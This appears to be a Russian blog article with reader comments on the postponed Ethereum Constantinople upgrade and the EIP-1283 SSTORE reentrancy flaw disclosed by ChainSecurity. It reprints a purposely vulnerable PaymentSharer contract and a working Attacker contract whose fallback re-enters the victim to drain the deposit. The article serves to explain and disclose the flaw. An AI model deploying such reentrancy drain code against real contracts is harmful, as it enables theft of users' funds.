Обновление* Ethereum «Constantinople» откладывается из-за найденной в последний момент потенциальной уязвимости

    image
    *многие называют это событие «hard fork»-ом, но «Виталик» против.

    Долгожданный релиз Constantinople должен был состояться 17 января, в 4AM UTC, однако, в очередной раз жестоко обломав несметную армию разработчиков countdown счетчиков этому не суждено будет сбыться.

    За 30 часов до официального релиза, из-за найденной уязвимости, руководствуясь принципом «лучше перебдить, чем недобдить», апдейт был отложен на неопределенный срок.

    Событием, поднявшим на уши все сообщество, стало опрометчивое предложение EIP 1283, удешевлеяющее выполнение инструкции SSTORE (sic!). Вообще одним из основных направлений апдейта было удешевление и ускорение выполнения особо тяжелых инструкций.

    События 15 января развивались следующим образом (время в PST):

    • в 8 утра ChainSecurity публикует описание уязвимости;
    • тут же, Martin Holst Swende (главный безопасник в Ethereum Foundation) будит всех ключевых разработчиков, напоминая что до апдейта осталось каких-то 37 часов, а у нас тут вот;
    • до полудня происходят бурные дебаты в чатах и «голосом»;
    • к обеду принято решение отменять апдейт.

    Ситуацию усуглубило то, что время разворачивать корабль выбрано крайне неудачно: уже почти половина нод успели обновиться, а всех остальных методично и настойчиво пинали на протяжении последних недель. В итоге теперь обновившимся нодам нужно будет еще раз обновиться (либо вверх либо вниз… мда). А кто не успел и все проспал — те молодцы, им ничего делать не нужно.

    Дальше все было предсказуемо — рынок отреагировал рухнувшим на 5% курсом эфира (хаха). Многие, конечно, повозмущались что мол, как это цена инструкции может влиять на секурность, че вы там наговнокодили и все такое… Но на самом деле ничего необычного, все как у всех.

    О технических деталях уязвимости лучше почитать в оригинале статьи от ChainSecurity, разобраться там не сложно.

    Кому лень нырять в код — суть в том, что до апдейта инструкция SSTORE стоила так дорого, что не было никакой возможности изменить «хранилище» (state) из других контрактов, после апдейта Constantinople инструкция подешевела (бы), и можно менять «хранилище» много раз, тем самым меняя логику уязвимого контракта.

    Код уявзимого контракта (с моими комментариями):

    pragma solidity ^0.5.0;
    
    contract PaymentSharer {
      mapping(uint => uint) splits;
      mapping(uint => uint) deposits;
      mapping(uint => address payable) first;
      mapping(uint => address payable) second;
    
      // здесь мы инициализируем данные парой адресов, которые в последствии будут делить депозит (некую сумму денег)
      function init(uint id, address payable _first, address payable _second) public {
        require(first[id] == address(0) && second[id] == address(0));
        require(first[id] == address(0) && second[id] == address(0));
        first[id] = _first;
        second[id] = _second;
      }
    
      // кладем сумму на депозит, который в последствии будут делить участники
      function deposit(uint id) public payable {
        deposits[id] += msg.value;
      }
    
      // задаем в какой пропорции делить депозит
      function updateSplit(uint id, uint split) public {
        require(split <= 100);
        splits[id] = split;
      }
    
      // непосредственно, дележ (в соответсвтии с установленной пропорцией split)
      function splitFunds(uint id) public {
        // Here would be: 
        // Signatures that both parties agree with this split
    
        // Split
        address payable a = first[id];
        address payable b = second[id];
        uint depo = deposits[id];
        deposits[id] = 0;
        
        // пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже)
        a.transfer(depo * splits[id] / 100);
        // остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника)
        b.transfer(depo * (100 - splits[id]) / 100);
      }
    }
    

    Код атакующего контракта:

    pragma solidity ^0.5.0;
    
    import "./PaymentSharer.sol";
    
    contract Attacker {
      address private victim;
      address payable owner;
    
      constructor() public {
        owner = msg.sender;
      }
    
      // злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети
      function attack(address a) external {
        victim = a;
        PaymentSharer x = PaymentSharer(a);
        x.updateSplit(0, 100);
        x.splitFunds(0);
      }
    
      // fallback метод, вызывается по умолчанию на transfer-е
      function () payable external {
        address x = victim;
        // собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита
        assembly{
            mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
            pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
        }    
      }
    
      function drain() external {
        owner.transfer(address(this).balance);
      }
    }
    

    * в оригинале упущено, но где-то должна быть инициализация вида:
    init(0, «адрес контракта Attacker», «адрес кошеля атакующего»)

    перед вызовом метода attack.

    Разумеется, есть много вопросов к самому контракту PaymentSharer, на котором нам демонстрируют уязвимость, он сам по себе криво слеплен, и именно в нем проблема,
    а не в цене SSTORE, и вообще — в релизной сети не нашли ни одного живого примера, но решили перестраховаться, все ж цена ошибки может быть слишком высока (тут все помянули давно почивший DAO).

    Вообще в Ethereum сообществе происходит масса интересных событий: активизировалась борьба серых кардиналов рынка (GPU vs ASIC), что само по себе заслуживает отдельной статьи, предстоящий релиз Bacon Chain набирает обороты, — год обещает быть богатым на события и интриги.
    Поделиться публикацией

    Комментарии 9

      0

      Спасибо за код контрактов.

        0
        Не через эту ли уязвимость уже успели ломануть одну из крупных криптовалютных бирж: www.cryptopia.co.nz

        — 4 дня назад они «обновились» готовясь к форку эфира.
        — 3 дня назад биржа вдруг ушла на «внеплановые срочные технические работы».
        — вчера признались (в твиттере) что «тех работами» на самом деле был экстренный шатдаун биржи из-за обнаруженного взлома и кражи крупных средств в криптовалюте.
        — сегодня судя по прочитанным обсуждениям в твиттере и на форумах выясняется, что украли как раз Эфир и некоторые токены на его базе (ERC-20) — народ провел мониторинг кошельков биржи через блокчейн, официально это никак не комментируется из-за начатого расследования полицией Новой Зеландии (место юридической регистрации компании-оператора биржи)

        Общая сумма ущерба — как минимум несколько миллионов долларов.
          +2
          Точно не через эту
            +1
            Форк не успел активироваться, так что точно не через эту уязвимость. До оговоренного блока, даже в обновлённом клиенте, стоимость инструкций остаётся прежней.
            0
            Не, не понятно как атака работает.
            PaymentSharer.splitFunds(uint id) инициирует transfer. При этом вызывается fallback-метод атакующего с 2300 газа.
            Этого газ не хватит атакующему, чтобы снова вызвать updateSplit
              0
              С новыми ценами на опкоды в Constantinople — хватит, потому и отменили апдейт.
              +3

              Долгое запутанное объяснение, из которого совершенно не понятно почему же это уязвимость. Вот описание в один абзац:


              Снижение стоимости опкода SSTORE привела к возможности провести атаку повторного исполнения (reentrancy attack) из fallback-функции. Так как раньше это считалось невозможным (fallback-функция может использовать строго ограниченное количество газа, которого недостаточно для модификации хранилища при текущей стоимости SSTORE), то разработчики контрактов не учитывали такой сценарий и не защищались от него.

                –1
                Чем больше «Виталик» говорит в микрофон, тем меньше времени на код…
                  0
                  ИМХО: Ethereum страдает от быдлокодинга на быдлоязыке.

                  Ethereum: Ребята, смотрите, возможны reentrancy-атаки, вы должны учитывать это при написании контракта. Сначала внесите все изменения в storage, затем подготовьте в memory данные для callов, а уже затем делайте callы.
                  Solidity: это сложно. Наш язык будет безопасным по умолчанию. Давайте мы лучше запилим send и transfer, которые будут давать на транзакцию очень мало газа. Ну чтобы ни на что не хватило, ну или почти ни на что. Ну плюс-минус в общем.

                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                  Самое читаемое